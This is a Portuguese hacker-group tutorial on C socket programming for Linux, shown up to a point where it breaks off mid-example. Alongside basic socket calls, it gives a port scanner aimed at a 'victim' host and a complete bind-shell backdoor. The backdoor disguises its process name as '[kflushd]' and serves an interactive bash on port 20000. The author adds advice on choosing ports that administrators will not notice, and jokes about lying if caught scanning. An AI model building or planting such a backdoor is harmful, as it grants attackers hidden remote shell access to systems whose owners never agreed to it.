```
##############################################################################
############################## UNSEKURITY TEAM ###############################
##############################################################################
```

Desenvolvido por Nash Leon vulgo coraçãodeleao.
Agradecimentos para Ramona, Jovem_Bruxa_7, e principalmente MAGIC KISS.
nashleon@yáoo.com.br

Voce pode achar novas versões desse tutorial na pagina abaixo:
http://unsekteam.virtualave.net/ -> Home page do grupo Unsekurity.

PROGRAMACAO DE SOCKETS EM C P/ LINUX

Esse tutorial não tem o intuito de ir fundo nessa magnífica ferramenta de programação, longe disso, o intuito é somente introduzir o iniciante nesse maravilhoso mundo e mostrar um pouco do que se pode fazer com isso. Tentaremos abordar de forma simples e clara os meios de se criar um socket. Os exemplos aquí mostrados bem como a forma de programação são voltados para a plataforma linux...diga-se linux slackware.. de modo que pode não servir em outras plataformas.

Faz-se necessário um conhecimento basico de C e Redes em geral..um TCP/IP caia bem.

AVISO: NAO NOS RESPONSABILIZAMOS PELO MAU USO DO MATERIAL CONTIDO NESSE TEXTO, BEM COMO DOS EXEMPLOS AKIH DESCRITOS. ESSE TEXTO FOI CRIADO SOMENTE COM PROPOSITOS EDUCACIONAIS.POR ISSO LEMBRE-SE, NADA DE BOBAGENS!!!

------------------------------ TOPICOS ----------------------------------

+ FASE I :
---
* SOCKETS - O que sao e para que servem;
* TIPOS DE SOCKETS;
* HEADERS;
* DECLARANDO UM SOCKET;
* DEFININDO UMA ESTRUTURA;
* CONSTRUINDO UM SOCKET;
* A função CONNECT();
* ALGUMAS BOBAGENS;
* PRIMEIRO EXEMPLO PRATICO: portscan.

+ FASE II :
---
* A função BIND();
* A função LISTEN();
* A função ACCEPT();
* SEGUNDO EXEMPLO PRATICO: backdoor.

+ FASE III :
---
* AS FUNções SEND() E RECV();
  Simples Exemplos:Servidor TCP, Cliente TCP e um Denial of Service.
* AS FUNções WRITE() E READ();
  Simples Exemplo: Esqueleto para envir dados com write().
* TERCEIRO EXEMPLO PRATICO: brutal force.

```
+ FASE IV :
-----------
* CONSIDERAções FINAIS;
* ALGUNS LINKS SOBRE PROGRAMACAO DE SOCKETS;

-------------------------------------------------------------------------



--------------------------- FASE I - O PARTO ----------------------------

---------------------------------------
*** SOCKETS - O QUE SAO E P/ Q SERVEM! |
---------------------------------------

Nao vou me aprofundar descrevendo a origem e a necessidade do surgimento
dos sockets..vamos agir de forma pratica,mas teoria sempre é bom, peskise
se tiver tempo, pois esse assunto é fascinante.
Os sockets sao os programas responsaveis pela comunicação ou interligação
de outros programas na internet, por exemplo.Quando você se conecta a um
servico qualquer tipo(telnet) você está usando um socket, no caso chama-se
a rotina socket() como cliente do teu lado..e do lado do host com servico
uma rotina de socket servidor.Acredito se chegou até akí é pq já sabe
disso tudo, e quer ir mais alem. De forma pratica, quando você executa
um exploit remoto,vc usa um socket, quando vc cria um trojan remoto, usa-se
um socket, quando vc captura pacotes externamente vc usa um socket, etc....

----------------------
*** TIPOS DE SOCKETS! |
----------------------

Existe alguns tipos de sockets,mas por enquanto vamos nos ater apenas a 2,
os dois mais simples..de modo que se vc kiser ir mais alem e escrever
programas que se utilizem de RAW SOCKETS, paciencia irmao, ainda não é
dessa vez que escreveremos para vc. Os tipos de sockets que iremos trabalhar
sao os "Stream Sockets" e os "Datagram Sockets", eles também sao conhecidos
como "SOCK_STREAM" e "SOCK_DGRAM", respectivamente.
+ Stream Sockets usam TCP, sao usados em diversar aplicações como telnet,www,
etc.Os pacotes aqui sao sequenciais, seguem em 2 vias,você pode ler e gravar.
+ Datagrams Sockets usam UDP.Os pacotes aqui não sao sequenciais,opera em
1 via,você só pode ler ou gravar,nunca as 2 coisas.

A utilidade pratica de cada um deles você verá logo em breve.Outros
tipos conhecidos de sockets sao: SOCK_SEQPACKET e SOCK_RDM, veremos mais
sobre esses daí num futuro txt.

-------------
*** HEADERS  |
-------------

Existem alguns headers usados em conjunto para facilitar ao maximo a programação
de sockets..Eis alguns akí:

#include <sys/types.h>
#include <sys/sockets.h>
#include <netinet/in.h>
#include <netdb.h>

Lembre-se:"Dependendo da situação você poderá necessitar de mais headers.
           Por isso amigo,as man pages sempre serão suas amigas. Antes de
           usar uma função,leia a respectiva man page da mesma."
```

```
----------------------------
*** DECLARANDO UM SOCKET!   |
----------------------------

P/ se declarar um socket não tem muito segredo.Ele é do tipo int, declara-se
normalmente.Ex:
main(){
int Meusocket;
...
}


-------------------------
*** DEFININDO ESTRUTURA  |
-------------------------

Os dados necessarios do host a que se ker comunicar, sao definidos atraves
de uma struct.A struct usada para conexões na internet é a sockaddr_in, e
possui a seguinte declaração:

struct sockaddr_in {
        short int sin_family;         /* Familia do endereco */
        unsigned short int sin_port;  /* Numero da porta */
        struct in_addr sin_addr;      /* IP do Host */
        unsigned char sin_zero[8];    /* Zera a estrutura, algum espaco como
                                         struct sockaddr */
        }



sin_family pode ser uma variedade de coisas, mas geralmente se usam uma
dessas aqui:

+ AF_INET      (ARPA INTERNET PROTOCOLS) - "A mais usada"
+ AF_UNIX      (UNIX INTERNET PROTOCOLS)
+ AF_ISO       (ISO PROTOCOLS)
+ AF_NS        (XEROX NETWORK SYSTEM PROTOCOLS)


Ai ficaria algo como:
main(){
int Meusocket;
struct sockaddr_in vitima;
..
}

---------------------------
*** CONSTRUINDO UM SOCKET  |
---------------------------

Bem podemos dar inicio na pratica a contrução de um socket.A Contrução de
um socket segue o modelo:
Meusocket = socket(sin_family, tipo_do_socket_desejado,Numero_protocolo);

Onde:
sin_family sao essas já explicadas acima;
tipo_do_socket_desejado, no nosso caso SOCK_STREAM ou SOCK_DGRAM;
Numero_protocolo é o número correspondente do protocolo q se vai
trabalhar,ex:

  0 - IP - INTERNET PROTOCOL
```

```
  1 - ICMP - INTERNET CONTROL MESSAGE PROTOCOL
  2 - IGMP - INTERNET GROUP MULTICAST PROTOCOL
  3 - GGP - GATEWAY-GATEWAY PROTOCOL
  6 - TCP - TRANSMISSION CONTROL PROTOCOL
  17 - UDP - USER DATAGRAMA PROTOCOL
```

Um exemplo pratico seria:

```
main(){
int Meusocket; /* Declarando a variavel socket */
..
Meusocket = socket(AF_INET,SOCK_STREAM,0);
..
}
```

Feito a declaração e a contrução do arquivo socket, nos seguimos adiantes contruindo a struct com dados do host que se deseja, nosso caso a vitima. Ficaria um esquema igual a esse:

```
struct sockaddr_in vitima;
vitima.sin_family = AF_INET /* Nossa sin_family no exemplo acima */
vitima.sin_porta = htons(PORTA) /* Aqui o esquema é o seguinte:
                                htons significa "host to network short", como
                                é short trabalha com 2 bytes,mas ha ainda
                                outros tipos como: htonl("host to network
                                long",4 bytes), ntós("network to host
                                short",2 bytes), ntól("network to host
                                long", 4 bytes). */

vitima.sin_addr.s_addr = inet_addr(ip_da_vitima);/*Aqui ocorre a aquisição do
                                                  endereco ip da vitima, como na
                                                  declaração acima em struct
                                                  sockaddr_in, aqui é somente o
                                                  ip, não ainda o dominio */

bzero(&(vitima.sin_zero),8); /* Zera o resto da estrutura */
```

Vamos ver agora como de fato está nosso exemplo inicial:

```
/* acrescente os headers necessarios */

main(){
int Meusocket;
struct sockaddr_in vitima;

Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
{
perror("Socket");
exit(1);
}
vitima.sin_family = AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
...
}
```

Vamos caminhando mais a frente, já temos declarado e construido o arquivo socket, no caso Meusocket, e a struct de conexão, no caso a vitima.Agora vamos para uma função muito usada na conexão, a função connect(), que fará o elo entre o "Meusocket" e a "vitima".

```
-----------------------
*** A função CONNECT()  |
-----------------------
```

Essa é a conhecida função responsavel pela conexão telnet(essa que muita gente usa para fins nada convencionais).Essa função,como o proprio nome, diz é a função responsavel pela conexão de seu socket cliente, com um servico servidor qualquer.

Os headers necessarios para o uso dessa função sao:

```
#include <sys/types.h>
#include <sys/socket.h>
```

Uma vez declarado os headers..vamos declarar a função propriamente dita:

```
int connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));
```

De forma bem pratica,declaramos a função connect(),onde:

+ Meusocket -> nosso arquivo socket.
+ vitima -> O host que queremos conectar(struct).

Como podemos ver, não é tao complicado assim..fazer o dito cujo,mas se já chegamos até aqui,podemos mostrar um exemplo pratico de tudo que foi escrito aí em cima..mas calma,primeiro veremos como ficou nosso programa por inteiro.

```
/* headers necessarios */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>

main(){
        int Meusocket;
        struct sockaddr_in vitima;
        int Conector;

        Meusocket = socket(AF_INET,SOCK_STREAM,0);
        if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
        {
                perror("Socket");
                exit(1);
        }

        vitima.sin_family = AF_INET;
        vitima.sin_port = htons(31337);
        vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
        bzero(&(vitima.sin_zero),8);

        Conector = connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));
        if(Conector < 0) /* Mais uma checagem de erro */
        {
                perror("Connect");
                exit(1);
        }
}
```

Voce agora deve estar se perguntando,se já sei como declarar um socket(), sei fazer a struct da vitima, e também já sei me conectar em alguma coisa

entao, o que posso eu fazer com isso tudo?? Calma amigo..abaixo segue umas bobagens a mais,mas com o basico aí em cima você já pode fazer muita coisa... Ha quem diga que não..mas vamos lá.

*** ALGUMAS BOBAGENS P/ MOSTRAR EXEMPLO PRATICO |

Segue agora algumas função que não não necessarias,mas que vao ajudar a "embelezar" o exemplo que se seguirá, para que não haja duvidas quanto o conhecimento do autor, e visando o esclarecimento de algumas coisa que de fato sao uteis.

+ função gethostbyname();

Por frescurite ou não,as vezes você quer ao inves de digitar o ip da vitima(host que se quer conectar ou etc), você quer digitar seu domain. Exemplo: ao inves de digitar 127.0.0.1 você prefere digitar localhost. Muitas aplicações seguem esse esquema..bem, para que isso possa ocorrer, como estamos trabalhando com C, usamos uma função chama gethostbyname(), essa função é declarada da seguinte forma:

```
#include <netdb.h> /* Talvez haja variação desse header, bom dar um man
                      gethostbyname para se certificar,mano!! */

struct hostent *  gethostbyname(char *name);
```

Como se pode ver ele retorna um ponteiro para uma struct que possui a seguinte declaração:

```
#define h_addr  h_addr_list[0]  /* endereco, para combatibilizar
                                   o modo inverso(reverso) */

struct  hostent {
                   char    *h_name;        /* Nome oficial do host */
                   char    **h_aliases;    /* Lista de aliases */
                   int     h_addrtype;     /* Tipo de endereco do host */
                   int     h_length;       /* Tamanho do endereco */
                   char    **h_addr_list;  /* Lista de enderecos do
                                              servidor de nomes */
               };
```

Vamos analisar agora cada membro da estrutura:

h_name -> Nome oficial do host.

h_aliases -> Uma array terminada em zero de nomes alternados para o host.

h_addrtype -> O tipo do endereco que está sendo retornado.Ex: AF_INET.

h_length -> O Tamanho em bytes do endereco.

h_addr_list -> Uma array terminada em zero do endereco da rede para o host.
               O endereco do Host é retornado em nbo(network byte order).

e a definição:

h_addr -> Eh o primeiro endereco em h_addr_list; Isto é para
           compatibilizar o modo inverso,ou a inversao.Quando você digita
           localhost saber que é 127.0.0.1, por exemplo.

```
+ função getservbyport();
------------------------

O proprio nome também já denuncia essa daí. Essa função envia ou diz
para você qual o servico que está rodando numa determinada porta,usando
como referencia o seu arquivo /etc/services. Eh bo manter esse arquivo
integro,senão receberá resultados errados no exemplo que logo seguirá.
Mas vamos lá, a função getservbyport() segue declarada desse jeito:

#include <netdb.h> /* Header necessario..lembre-se, man pages */

struct servent *getservbyport(int port, const char *proto);

A estrutura servent é definida da seguinte forma em <netdb.h>:

struct servent {
                      char    *s_name;     /* Nome oficial do servico */
                      char    **s_aliases; /* Lista de aliases */
                      int     s_port;      /* Numero da porta */
                      char    *s_proto;    /* Protocolo para usar */
              }

analizando:

s_name  -> Nome oficial do servico. Ex: ftp,telnet,echo.

s_aliases -> Um lista terminada em zero de nomes alternativos para o
             servico.

s_port -> O número da porta referente ao servico, dado em NBO(Network
          Byte Order)

s_proto  -> O nome do protocolo para usar com este servico.

------------------------------
*** PRIMEIRO EXEMPLO PRATICO  |
------------------------------

Bem, com as instruções acima, já podemos fazer algumas coisinhas,a
utilidade varia conforme o cerebro que está usando as informações
acima ditas. Abaixo segue um exemplo de um portscan, que scaneia usando
a função connect(). Esse metodo é muito usado ainda, mas não é um bom
método, pois é de fácil detecção. Mas pela facilidade com que se escreve
um programa desse tipo,será nosso primeiro exemplo, mais a frente nós
veremos coisas mais úteis, e mais complexas.Esse portscan serve somente
para serviços tcp, pois usa SOCK_STREAM, já explicado acima.

----------------------Exemplo de portscan-------------------------------

/* Simples PortScan usando a função connect().
   Desenvolvido por Nash Leon. Unsekurity Team.
   Thanks Ramona.
   compila com: $ gcc -o portscan portscan.c
   ou como bem quiser.
*/

/* Headers necessarios */
#include <stdio.h>
#include <stdlib.h>
```

```
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <errno.h>
#include <netdb.h>


/* Definição das portas(inicial e final) caso estas não sejam
   digitadas na linha de comando */

#define PORTA_INICIAL              1
#define PORTA_FINAL             7000


main(int argc, char *argv[])
        {
        char host[15], *ip;
        int porta_inicial, porta_final, portas, i,meusocket;
        struct sockaddr_in vitima;
        struct hostent *he;
        struct servent *servico;
        if (argc == 1)
        {
                fprintf(stderr,"************************************************************\n");
                fprintf(stderr,"*************Simples PortScan usando Connect()************\n");
                fprintf(stderr,"****************Desenvolvido por Nash Leon****************\n");
                fprintf(stderr,"************************************************************\n");
                fprintf(stderr,"Uso: %s <host_vitima> <porta_inicial> <porta_final>\n",argv[0])
                ;exit(0);
        }

        if (argc > 1)
        {
                porta_inicial = PORTA_INICIAL;
                porta_final = PORTA_FINAL;
        }
        if (argc > 2)
        {
                porta_inicial = atoi (argv[2]);
                porta_final = atoi (argv[3]);
        }

        /* Aqui tem inicio o scaneamento, comecando a contagem com porta_inicial
           e terminando em porta_final */

        for (portas = porta_inicial; portas < porta_final; portas++){

                /* Declaração de gethostbyname */

                he = gethostbyname(argv[1]);
                if(he == NULL)
                {
                        printf("Erro: Host Desconhecido!!\n");
                        exit(-1);
                }

                /* Declaração do arquivo socket */

                meusocket = socket(AF_INET, SOCK_STREAM,0);
```

```
                if(meusocket < 0)
                {
                        perror("Socket");
                        exit(1);
                }
                /* Abaixo a declaração da estrutura da vitima */

                vitima.sin_family = he->h_addrtype; /* Tipo do endereco retornado,no caso AF_INET. */
                vitima.sin_port = htons(portas);
                vitima.sin_addr = *((struct in_addr *)he->h_addr); /* P/ compatibilizar o processo inverso */
                bzero(&(vitima.sin_zero), 8);

                /* função connect(), ela vai se conectar a porta do host vitima, se
                   receber uma resposta negativa, no caso (-1), ela fecha o socket, mas
                   como estamos dentro de um processo for, abrira outro socket com outra
                   porta, e quando a resposta da vitima for positiva (0), seguira a
                   diretiva else abaixo. */

                if(connect(meusocket,(struct sockaddr * )&vitima, sizeof(vitima)) == -1)
                {
                        close(meusocket);
                }

                /* Aqui temos getservbyport nos dizendo qual servico corresponde a porta
                   que foi encontrada aberta.Se servico for igual a NULL, teremos
                   "Desconhecido como saida, senão, ele nos dirá o servico,baseado em
                   nosso /etc/services */

                else
                {
                        servico = getservbyport(htons(portas),"tcp");
                        printf("A porta %d esta aberta mano!! O Servico é [%s]\n",portas,(servico == N
                        ULL) ? "Desconhecido" : servico-> s_name);
                }
                close(meusocket);
        }
}

---------------------fim do primeiro exemplo----------------------------


OBS: Bem amigo, não é aconselhável você usar esse programa descrito acima
     para outros propósitos, a não ser aprender a construir e trabalhar com
     sockets. Primeiro, não tenho certeza, mas scanear uma rede deve ser
     ilegal, vai aí um toque, qualquer coisa digam: "Um amigo disse que
     era administrador da rede e pediu para eu scanear a rede para ele,pois
     ele não tinha scanner! -Mas que amigo? -Um que conheci no irc!! :)";
     Segundo, existem ferramentas melhores e bem mais poderosas que essa,
     tais como nmap, queso, etc... que já vem prontinhas para esses fins;
     Terceiro, com o aumento dos sistemas de detecção, com o advento de bons
     firewalls, e com a "capacitação" do pessoal da seguranca, essa
     técnica descrita acima não é nada boa. Mais embaixo veremos algumas
     ferramentas e teorias mais interessantes. Pegue o conceito, um dia
     você talvez terá que fazer seu próprio scanner stealph (que não se
     deixa logar, invisível).


Vamos seguindo em frente nessa jornada em busca de coisas mais práticas
nos nossos dias. Chegamos na fase 2 do nosso jogo com sockets, essa fase
é interessante, se você tem muitos neurônios, não hesite em queimá-los,
mas se só tiver o tico-e-teco, como eu,:), aí vai umas coisinhas que
```

aprendi botando os 2 para trabalhar. Depois seguirá outro exemplo prático
com as declarações abaixo:

---------- FASE 2 - ENGATINHANDO ----------

*** A função bind() |

Une um nome ao seu socket.
De modo bem prático, essa função serve para associar uma porta em sua
máquina local para o seu socket. Essa função é muito usada com outra
função, a listen(), mais na frente veremos algo sobre essa função.
A função bind() é muito usada em servidores, socket servidor.
Veremos agora como é declarada essa função:

```
/* Headers necessários, veja man bind() */
#include <sys/types.h>
#include <sys/socket.h>

int bind(int Meusocket, struct sockaddr *local, int addrlen);
```

onde:

+ Meusocket -> Nosso velho conhecido, o mesmo dos casos anteriores.
+ local -> O esquema aqui é o seguinte, ao invés de declarar
como sendo vítima, declararemos como o endereço
local, não o remoto. a estrutura será toda voltada
para a máquina local, onde vai ser executado o programa.

+ addrlen -> Tamanho do tipo da estrutura que está se trabalhando,
geralmente usa-se sizeof(struct sockaddr).

Eis o básico dessa função. Abaixo segue um exemplo de declaração da mesma
dentro de um programa qualquer:

```
/* Headers */
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define MINHA_PORTA     20000
main(){
        int Meusocket;
        struct sockaddr_in meu_endereco;

        Meusocket = socket (AF_INET,SOCK_STREAM,0);
        local.sin_family = AF_INET;
        local.sin_port = htons(MINHA_PORTA);
        local.sin_addr.s_addr = inet_addr("200.100.100.1");
        bzero(&(local.sin_zero),8);

        bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));
...
}
```

Podemos notar que a declaração é semelhante ao esquema do primeiro caso,
onde ao invés de meu_endereco, nós tinhamos vítima. Para nossos objetivos
meu_endereco refere-se ao endereço local, da makina onde se executa o
programa, e vítima se refere a um endereço remoto. Veremos mais adiante

que o que eu disse aí pode confundir, pois depende do modo como se vê as
coisas, fique atento e não terá problemas. Leve em consideração apenas
os processos cliente e servidor, acho que assim é melhor..:).

*** A FUNÇÃO listen() |

Essa função também não tem nada demais. O seu nome também já diz o porque
de se usar ela. Ela escuta ou melhor dizendo, espera uma determinada
conexão em um socket. Para aceitar uma conexão, um socket é primeiro criado
usando a função socket(), após a criação do mesmo, a função listen() entra
para setar o número de conexões que serão permitidas para determinado serviço.
Um exemplo prático disso é o uso de ftps que permitem até 20 conexões
por exemplo. Você entra e recebe uma mensagem tipo: "Voce é o #5 usuário
de 20!", coisa desse tipo. A função listen() é muito usada em servidores
haja visto essa necessidade, mas existem outras utilidades também para ela
que são úteis para os nossos propósitos. Veremos isso depois.
A função listen() é declarada da seguinte forma:

```
/* Header */

#include <sys/socket>

int listen(int Meusocket, int backlog);
```

onde:
+ Meusocket -> Nosso amigo de novo,o mesmo de sempre.
+ backlog -> backlog é um número inteiro responsável pelo total
de conexões que serão permitidas para o serviço. Muitos
sistemas limitam esse número até 20, você pode ficar
limitado de 5 a 10. As conexões futuras ficarão esperando
até que o servidor aceite, para isso usa-se a função
accept(), que explicaremos mais abaixo.

Como iremos permitir mais de uma conexão, se faz necessário que declaremos
um outro socket() que será o responsável pelas futuras requisições de
conexão. Poderiamos deixar para definir com a função accept(), porque esse
novo socket só será aceito após o primeiro, mas em todo caso, ele já vai
declarado abaixo para facilitar as coisas.
Um esquema prático para a nossa função listen, seria usá-la em conjunto com
a função bind() descrita acima. Ficaria assim:

```
/* Headers */
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define MINHA_PORTA 20000
main(){

int Meusocket;
int NovoSocket;/* Este espera a vez dele, listen o enumerará para que faça
                a conexão depois */
struct sockaddr_in local;

/* Declaração de Meusocket e da estrutura que fechará a conexão
   no caso "local" */

Meusocket = socket (AF_INET,SOCK_STREAM,0);
local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
```

```
local.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);

bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));

listen(Meusocket,5);
...
}
```

Bem, nosso exemplo é só demonstrativo, para irmos com calma, não dá para fazer muita coisa com isso daí, mas veremos agora uma outra função muito importante muito usada em sockets servidores.

*** A função accept() |

Essa função também não tem muito segredo, ela é a função responsável por aceitar uma conexão em um socket. Um socket cliente pede permissão para um socket servidor para que ambos se comuniquem, essa função será a que decidirá o futuro da conexão, se aceita ou rejeita.
Vamos a declaração dela:

```
/* Headers */
#include <sys/types.h>
#include <sys/socket.h>

int   accept(int Meusocket,  struct  sockaddr  *remoto,socklen_t *remotolen);
```

onde:

```
+ Meusocket -> É o socket do servidor, o nosso exemplo das seções acima.
+ remoto    -> Aqui o esquema é o seguinte, será o endereço remoto, como
               nós estamos fazendo o papel de servidor, esse dito cujo seria
               o cliente no caso. Poderia se referir a ele também como remoto,
               já que a estrutura que declaramos é a local.
+remotolen  -> É o tamanho da estrutura que se está trabalhando.
               Trabalharemos com sockaddr_in, logo seria
               sizeof(struct sockadd_in).
```

Veremos como ficaria o esquema de um simples socket servidor agora:

```
/* Headers */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

/* Segue definição da porta e do número de conexões que serão
   permitidas a mesma, chamada aqui de BACKLOG. */

#define   MINHA_PORTA   20000
#define   BACKLOG       5

main(){

        int Meusocket, Novosocket;  /* listen() em Meusocket, nova conexão em
                                       Novosocket */
        struct sockaddr_in local;
        struct sockaddr_in remoto;
        int tamanho;
```

```
        bzero(&local, sizeof(local));  /* Zera a estrutura */
        local.sin_family = AF_INET;
        local.sin_port = htons(29999);
        local.sin_addr.s_addr = INADDR_ANY;/* aqui INADDR_ANY será responsável
                                        por pegar nosso endereço diretamente
                                        do próprio sistema. */
        bzero(&(local.sin_zero), 8);

        /* Declaração do socket() */
        Meusocket=socket(AF_INET, SOCK_STREAM, 0);

        /* Seguem abaixo declaração de bind() e listen() */

        bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr);
        listen(Meusocket, BACKLOG);
        tamanho = sizeof (struct sockaddr_in);/* Declaramos essa variavel para
                                            melhorar o algoritmo tao somente */

        while(1) /* loop essencial para accept() */

        /* Eis aí a função accept()
        NovoSocket = accept(Meusocket, (struct sockaddr *)&remote,&tamanho);
}
```

O esqueleto acima pode ser bastante útil, colocaremos abaixo um exemplo prático das funções descritas nessa fase. Nada por enquanto de complexo, acho que nem vai ter, programar sockets em C não é nem mesmo trabalhoso, sim, levando em conta que escrevo para aqueles que passam noites, semanas e meses em busca de um dia poderem achar um "furo de reportagem".

Os termos tem variado e alguns até perderam sentido, mas creio que os pesquisadores de verdade, antes chamados "Newbies" merecem sim todo o respeito e consideração, é para eles que vão essas linhas de texto, bem como todos os exemplos práticos. Quanto a "Elite", como ela sempre esquece que um dia foi igual a esses pesquisadores que acabo de mencionar, para ela, que já possui sua mente "formada", e muitas das vezes se auto-intitula anti-ética, nunca ví fuçador de verdade que não obeça as regras da ética, mas de qualquer forma, enquanto essa "Elite" não se unir, a roda não vai girar, e a seguranca sempre ficará cantando de galo, como estão hoje em dia, tem gente que trabalha na segurança das grandes companhias e se considera fuçador!!:)..sei onde vocês andam fuçando viu!!

Manifestos a parte, a bomba maior virá depois, vamos seguir com um exemplo prático de um programa servidor, mais comumente chamado de backdoor, mas pode ser também um trojan, só depende de nossos neurônios.

```
-----------------------------
*** SEGUNDO EXEMPLO PRÁTICO  |
-----------------------------
```

Esse programa copia uma shell para uma determinada porta, ele é amplamente difundido na Internet com o nome de bindshell, mas possui muitas variações, para propósitos educacionais eu criei uma backdoor baseada nesse programa, de modo que tornasse mais claro o nosso aprendizado.

```
--------------------------Backdoor usando Socket-------------------------

/* Backdoor em Socket simples...by Nash Leon
   Thanks Ramona e  Unsekurity Team.
   nashleon@yáoo.com.br
   http://unsekurity.virtualave.net
```

```
   Compile usando:
   $gcc -o back back.c
*/

/* HEADERS */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>

#define MINHA_PORTA 20000 /* A porta do servidor */
#define BACKLOG        5 /* Até quantas conexões */

int main(int argc, char *argv[])
{

        int Meusocket, Novosocket, tamanho;
        struct sockaddr_in local;
        struct sockaddr_in remote;

        /* Cria um processo crianca ou menor, para não necessitar executar
           usando & */
        if(fork() == 0){

                /* Aqui segue a esperteza..se alguém der ps aux, top, ou ver os processos
                   que estao rodando verá o que está copiado abaixo, no caso [kflushd],
                   mude isso conforme o sistema onde será executada a backdoor */

                strcpy(argv[0], "[kflushd]");
                signal(SIGCHLD, SIG_IGN);

                /* Criando a estrutura local(servidor) */

                bzero(&local, sizeof(local));
                local.sin_family = AF_INET;
                local.sin_port = htons(MINHA_PORTA);
                local.sin_addr.s_addr = INADDR_ANY;
                bzero(&(local.sin_zero), 8);

                /* Declaração do socket(),bind() e listen() */

                Meusocket=socket(AF_INET, SOCK_STREAM, 0);
                bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
                listen(Meusocket, BACKLOG);
                tamanho = sizeof(struct sockaddr_in);

                /* O velho while(1) para ser usado com nosso novo accept() */

                while(1)
                {
                        if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho))==1)
                        {
                                perror("accept");
                                exit(1);
                        }

                        if(!fork())
```

```
                        {
                                close(0); close(1); close(2);

                                /* dup2() aqui é usado para criar uma copia de Novosocket */

                                dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket,2);

                                /* Entao a shell é executada, nesse caso uma bash
                                   Mude-a para qualquer uma que quiser, e atenção ao
                                   parâmetro -i, nem todas aceitam shell interativa */

                                execl("/bin/bash","bash","-i", (char *)0);
                                close(Novosocket);
                                exit(0);
                        }

                }
        }
        return(0);
}

-------------------------Fim do Segundo Exemplo-------------------------

Algumas considerações a respeito do dito cujo aí de cima; Primeiro,
esse dito cujo possui uma porta 20000, pode ser usado em muitos sistemas
por usuários comuns(não-root), geralmente as portas baixas só o root
pode manipular, até a porta 1024. Até para dificultar a percepção de
admin dessa backdoor, é inteligente colocar numa porta alta,
não muito conhecida, não coloque em portas elites como 12345 ou 31337,
faça seu próprio esquema; colocarei o source depois mais interessante; Segundo
quando um cliente se conecta a essa backdoor, ele caí numa shell com
argumento -i, ou shell interativa, se não quiser ou o sistema não aceitar
esse argumento, retire-a, isso muda de sistema e de tipo de shell também;
Terceiro, esse programa não é prático, já é conhecido, muito conhecido, de
modo que é uma backdoor de fácil detecção, quando, lógico, o admin é um
cara responsável, existe muita coisa boa por aí, como backdoors em kernel
modules, em códigos fontes que lhe dão shell num simples passe de mágica
ou num simples toque de tecla :); bem como bons rootkits, alguns pouco
conhecidos capazes de tornar você "invisível" num sistema. Como todos os
exemplos aqui são de propósito puramente educacional, não nos
responsabilizamos pelo uso dos mesmos. Creio amigo, que backdoor é
pessoal, como a coisa vem "esquentando", o pessoal da segurança tem
trabalhado mais, cabe a você pensar numa backdoor sua mesmo, para
determinado sistema, uma coisa bem específica, num outro TXT, falaremos
bem mais sobre isso, por enquanto, pense, pense e pense!

Mas vamos seguindo, chega de conversa fiada, vamos para a fase 3 desse nosso
joguinho com sockets, uma fase bem interesssante e vocês saberão o porque.

-------------------- FASE III - MANDANDO BALA -------------------------

---------------------------
AS FUNÇÕES send() e recv() |
---------------------------

Como sempre, não há misterios, os próprios nomes também denunciam essas
funções. Essas duas funções são para comunicação em Stream sockets e
Datagrams sockets. A função send() é usada para enviar uma mensagem para um
socket, e consequentemente a função recv() é usada para receber dados em
um socket. A utilidade disso tudo já é bem evidente quando se manipulam
aplicações que envolvem sockets. veremos como se declara send() primeiro:
```

```
/* Headers */

#include <sys/types.h>
#include <sys/socket.h>

int send(int Meusocket, const void *msg, size_t len, int flags);

onde:
+ Meusocket  -> é o bom e velho arquivo socket, nosso velho conhecido.

+ *msg       -> é um ponteiro para a mensagem que queremos enviar.

+ len        -> é o tamanho da mensagem. Se a mensagem é muito grande para
                passar atômicamente sobre o protocolo escolhido, a mensagem
                de erro EMSGSIZE é retornada, e a mensagem não é transmitida.

+ flags      -> São parâmetros adicionais,podem ser:
                #define   MSG_OOB        0x1  /* processa dados out-of-band */
                #define   MSG_DONTROUTE  0x4  /* debuga */

                O flag MSG_OOB é usado para enviar dados out-of-band em sockets
                que suportam isso (Ex. SOCK STREAM); o protocolo escolhido deve
                também suportar dados out-of-band.
                O flag MSG_DONTROUTE é usado geralmente só para diagnosticar
                programas.

Uma boa olhada nas man pages de cada função ajuda bastante, caso haja
dúvidas nisso.

Vimos a declaração da função send(), veremos agora a função recv(), ela
é similar em muitos aspectos a função send(). Veremos:

/* Headers */
#include <sys/types.h>
#include <sys/socket.h>

int recv(int Meusocket, void *buf, int len, unsigned int flags);

onde:
+ Meusocket   -> é o socket para ler de outro,no caso, um socket local.

+ buf         -> Aqui é o endereço da área do buffer.

+ len         -> é o tamanho do buffer.

+ flags       -> são formados por MSG_OOB e MSG_PEEK permitindo receber dados
                 out-of-band e permitindo espiar dados que entram,
                 consequentemente. Esta chamada deve ser usada somente com
                 sockets do tipo SOCK_STREAM.

Abaixo seguem mais dois exemplos, estes envolvendo tudo que foi abordado
até agora. O primeiro exemplo é um simples socket servidor.

---------------------------Servidor Simples------------------------------

/* Velhos headers de sempre */

#include <stdio.h>
